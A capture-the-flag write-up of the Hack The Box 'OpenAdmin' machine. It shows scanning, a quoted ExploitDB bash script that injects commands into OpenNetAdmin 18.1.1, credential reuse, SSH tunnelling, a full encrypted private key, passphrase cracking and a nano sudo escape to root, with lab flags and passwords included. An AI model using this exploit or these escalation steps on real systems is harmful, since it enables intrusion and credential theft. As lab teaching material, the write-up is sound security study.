Description

TL;DR

  • Find OpenAdmin directory on the website (ona directory)
  • Exploit RCE on OpenNetAdmin 18.1.1
  • SSH port forwarding to access backup website
  • Crack the passphrase of the SSH private key recovered on the backup website
  • Use sudo rights to spwan shell with nano

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/openadmin$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN openadmin.txt
Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-18 21:21 CET
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 21:21
Completed NSE at 21:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 21:21
Completed NSE at 21:21, 0.00s elapsed
Initiating Ping Scan at 21:21
Scanning 10.10.10.171 [4 ports]
Completed Ping Scan at 21:21, 1.25s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:21
Scanning openadmin.htb (10.10.10.171) [65535 ports]
Discovered open port 80/tcp on 10.10.10.171
Discovered open port 22/tcp on 10.10.10.171
Increasing send delay for 10.10.10.171 from 0 to 5 due to 500 out of 1666 dropped probes since last increase.
Increasing send delay for 10.10.10.171 from 5 to 10 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.10.171 from 10 to 20 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.10.171 from 20 to 40 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.10.171 from 40 to 80 due to max_successful_tryno increase to 7
Increasing send delay for 10.10.10.171 from 80 to 160 due to max_successful_tryno increase to 8
Increasing send delay for 10.10.10.171 from 160 to 320 due to max_successful_tryno increase to 9
Increasing send delay for 10.10.10.171 from 320 to 640 due to max_successful_tryno increase to 10
Warning: 10.10.10.171 giving up on port because retransmission cap hit (10).
Increasing send delay for 10.10.10.171 from 640 to 1000 due to 278 out of 926 dropped probes since last increase.
Completed SYN Stealth Scan at 21:22, 40.86s elapsed (65535 total ports)
Initiating Service scan at 21:22
Scanning 2 services on openadmin.htb (10.10.10.171)
Completed Service scan at 21:22, 6.10s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.171.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 2.21s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 0.00s elapsed
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up, received timestamp-reply ttl 63 (0.037s latency).
Scanned at 2020-02-18 21:21:41 CET for 50s
Not shown: 65531 closed ports
Reason: 65531 resets
PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
|   256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp    open     http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 0.00s elapsed
Read data files from: /usr/bin/.share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.10 seconds
           Raw packets sent: 200281 (8.812MB) | Rcvd: 136054 (5.442MB)

So we find 2 useful services:

  • OpenSSH (22)
  • Apache (80)

The HTTP (80) is the default Apache web page.

With DirBuster we find the following page at openadmin.htb/ona/:

Remote code execution

We have a warning message that the version is outdated. Let’s check the CVE for OpenAdmin v18.1.1.

We find the following script on ExploitDB:

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

Let’s try it:

magnussen@funcMyLife:~/openadmin$ opennetadmin.sh http://openadmin.htb/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have a shell on the machine, let’s go deeper.

$ ls -alh
total 72K
drwxrwxr-x 10 www-data www-data 4.0K Nov 22 17:17 .
drwxr-x---  7 www-data www-data 4.0K Nov 21 18:23 ..
-rw-rw-r--  1 www-data www-data 2.0K Jan  3  2018 .htaccess.example
drwxrwxr-x  2 www-data www-data 4.0K Jan  3  2018 config
-rw-rw-r--  1 www-data www-data 2.0K Jan  3  2018 config_dnld.php
-rw-rw-r--  1 www-data www-data 4.1K Jan  3  2018 dcm.php
drwxrwxr-x  3 www-data www-data 4.0K Jan  3  2018 images
drwxrwxr-x  9 www-data www-data 4.0K Jan  3  2018 include
-rw-rw-r--  1 www-data www-data 2.0K Jan  3  2018 index.php
drwxrwxr-x  5 www-data www-data 4.0K Jan  3  2018 local
-rw-rw-r--  1 www-data www-data 4.5K Jan  3  2018 login.php
-rw-rw-r--  1 www-data www-data 1.1K Jan  3  2018 logout.php
drwxrwxr-x  3 www-data www-data 4.0K Jan  3  2018 modules
drwxrwxr-x  3 www-data www-data 4.0K Jan  3  2018 plugins
drwxrwxr-x  2 www-data www-data 4.0K Jan  3  2018 winc
drwxrwxr-x  3 www-data www-data 4.0K Jan  3  2018 workspace_plugins
$ cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
$ ls -alh /home
total 16K
drwxr-xr-x  4 root   root   4.0K Nov 22 18:00 .
drwxr-xr-x 24 root   root   4.0K Nov 21 13:41 ..
drwxr-x---  6 jimmy  jimmy  4.0K Feb 17 22:08 jimmy
drwxr-x---  6 joanna joanna 4.0K Nov 28 09:37 joanna

SSH port forwarding

Ok, we found a password. Maybe we can connect to the server with one of the two users and the password we found.

magnussen@funcMyLife:~/openadmin$ ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password:
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

We quickly find an interesting directory that jimmy can read.

jimmy@openadmin:~$ ls -alh /var/www/internal
drwxrwx--- 2 jimmy internal 4096 Feb 17 22:14
drwxr-xr-x 4 root  root     4096 Nov 22 18:15 .
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php*
-rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php*
-rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php*
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

jimmy@openadmin:~$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Ok, it seems that we can retrieve joanna private key through a website, but the vhost is only listening on 127.0.0.1:52846.

The username is jimmy and if we break the sha256 hash we find the password: Revealed.

No problem, let’s do some ssh tunneling.

magnussen@funcMyLife:~/openadmin$ ssh jimmy@10.10.10.171 -L 4444:127.0.0.1:52846

After connection we retrieve joanna private key:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

Password cracking

Let’s break the passphrase with JohnTheRipper:

magnussen@funcMyLife:~/openadmin$ ~/JohnTheRipper/run/ssh2john.py joanna_private_key.txt > joanna_crack.txt
magnussen@funcMyLife:~/openadmin$ ~/JohnTheRipper/run/john --wordlist=rockyou.txt joanna_crack.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna_crack.txt)
1g 0:00:00:04 DONE (2020-02-17 23:32) 0.2118g/s 3038Kp/s 3038Kc/s 3038KC/s ¡Vamos!
Session completed

Ok, now we just have to login to the server and retrieve the user.txt file:

magnussen@funcMyLife:~/openadmin$ ssh -i joanna_private_key.txt joanna@10.10.10.171
joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f

I AM ROOT

Nano abuse

Let’s see how we can get root, let’s start by seeing what action we can run as sudo:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

We can use nano as root on the /opt/priv file. But we can also have a shell from nano.

joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
$ /bin/bash
root@openadmin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@openadmin:~# cat /root/root.txt
2f907ed450b361b2c2bf4e8795d5b561

This was a nice box, not very difficult, but a good way to start on Hack The Box. Thank you dmw0ng for the box!